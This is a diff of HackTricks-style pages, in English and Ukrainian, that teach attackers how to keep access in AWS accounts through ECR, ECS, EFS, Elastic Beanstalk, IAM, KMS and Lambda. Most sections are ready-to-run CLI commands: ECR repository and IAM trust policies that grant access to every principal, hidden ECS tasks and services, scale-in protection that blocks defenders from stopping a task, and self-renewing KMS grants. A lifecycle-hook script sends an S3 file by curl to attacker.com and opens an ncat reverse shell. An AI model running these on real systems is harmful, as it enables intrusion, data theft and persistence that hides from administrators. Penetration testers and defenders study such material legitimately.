"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Потім застосуйте конфігурацію реплікації:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (префіксний backdoor для майбутніх репозиторіїв)
|
||||
|
||||
Зловживати ECR Repository Creation Templates, щоб автоматично backdoor будь-який репозиторій, який ECR автоматично створює під контрольованим префіксом (наприклад через Pull-Through Cache або Create-on-Push). Це надає постійний несанкціонований доступ до майбутніх репозиторіїв без торкання існуючих.
|
||||
|
||||
- Потрібні дозволи: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (використовується шаблоном), iam:PassRole (якщо до шаблону прикріплена кастомна роль).
|
||||
- Наслідки: Будь-який новий репозиторій, створений під цільовим префіксом, автоматично успадковує політику репозиторію, керовану нападником (наприклад читання/запис між акаунтами), налаштування мутації тегів та параметри сканування за замовчуванням.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor майбутні репозиторії, створені PTC, під обраним префіксом</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,103 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,151 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Перевірити
|
||||
|
||||
Зловмисник може створити hidden periodic ECS task, використовуючи Amazon EventBridge, щоб **планувати періодичне виконання шкідливої задачі**. Така задача може виконувати reconnaissance, exfiltrate data або підтримувати persistence в обліковому записі AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Атакувальник може додати **stealthy backdoor container** у наявний ECS task definition, який працює поруч із легітимними контейнерами. Цей backdoor container може використовуватися для persistence та виконання зловмисних дій.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Незадокументований ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Перевірити
|
||||
|
||||
Зловмисник може створити **незадокументований ECS service**, який запускає шкідливий task. Встановивши бажану кількість tasks на мінімум та відключивши logging, адміністраторам стає складніше помітити шкідливий service.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### Утримання в ECS через Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Зловживання ecs:UpdateTaskProtection дозволяє запобігти зупинці сервісних задач під час scale‑in events та rolling deployments. Постійно продовжуючи protection, зловмисник може підтримувати довгостроковий task у роботі (для C2 або збору даних), навіть якщо захисники зменшать desiredCount або викотять нові task revisions.
|
||||
|
||||
Кроки для відтворення в us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Наслідок: Захищене завдання залишається RUNNING незважаючи на desiredCount=0 і блокує заміни під час нових розгортань, дозволяючи приховану довготривалу персистентність у сервісі ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Для отримання додаткової інформації дивись:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Змінити Resource Policy / Security Groups
|
||||
|
||||
Змінюючи **resource policy and/or security groups**, ви можете спробувати зберегти свій доступ до файлової системи.
|
||||
|
||||
### Створити Access Point
|
||||
|
||||
Ви можете **створити access point** (з root-доступом до `/`), доступний із сервісу, де ви реалізували **other persistence**, щоб зберегти привілейований доступ до файлової системи.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
Щоб зберегти persistence всередині AWS account, у інстанс можна ввести якийсь **persistence mechanism** (cron job, ssh key...), щоб зловмисник мав доступ і міг вкрасти IAM role **credentials з metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Зловмисник може backdoor код всередині S3 repo так, щоб він завжди виконував свій backdoor та очікуваний код.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Замість того, щоб змінювати код в актуальній версії, зловмисник може розгорнути (deploy) нову backdoored версію застосунку.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
>
|
||||
> Elastic Beanstalk надає lifecycle hooks, які дозволяють запускати custom scripts під час instance provisioning та termination. Зловмисник може **configure lifecycle hook для періодичного виконання скрипта, який exfiltrates дані або підтримує доступ до AWS account**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Для детальнішої інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Створити користувача
|
||||
- Додати контрольованого користувача до привілейованої групи
|
||||
- Створити access keys (нового користувача або всіх користувачів)
|
||||
- Надати додаткові дозволи контрольованим користувачам/групам (attached policies або inline policies)
|
||||
- Вимкнути MFA / Додати власний MFA пристрій
|
||||
- Створити ситуацію Role Chain Juggling (детальніше нижче в STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Надати Administrator permissions до policy у версії, яка не є останньою (остання версія має виглядати легітимною), після чого призначити цю версію policy контрольованому user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Якщо акаунт уже довіряє поширеному identity provider (наприклад, Github), умови довіри можна послабити/змінити так, щоб attacker міг ними зловживати.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Для отримання додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant доступ через KMS policies
|
||||
|
||||
Зловмисник може використати дозвіл **`kms:PutKeyPolicy`**, щоб **надати доступ** до ключа користувачу під його контролем або навіть зовнішньому акаунту. Перегляньте [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) для детальнішої інформації.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants — це інший спосіб надати принципалу певні дозволи над конкретним ключем. Можна створити grant, який дозволяє користувачу створювати grants. Крім того, користувач може мати кілька grant (навіть ідентичних) для одного й того ж ключа.
|
||||
|
||||
Отже, користувач може мати 10 grants з усіма дозволами. Зловмиснику слід постійно це моніторити. Якщо в якийсь момент один grant буде видалено, має бути створено ще 10.
|
||||
|
||||
(Ми використовуємо 10, а не 2, щоб мати змогу виявити, що grant було видалено, поки користувач усе ще має щонайменше один grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Грант може надати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,42 +1,42 @@
|
||||
# AWS - Lambda Персистентність
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Для додаткової інформації див.:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Персистентність Lambda Layer
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Можна **впровадити/backdoor layer для виконання довільного коду** під час виконання Lambda у прихований спосіб:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Персистентність Lambda Extension
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Зловживаючи Lambda Layers, також можна зловживати extensions для персистенції в Lambda, а також викрадення й модифікації запитів.
|
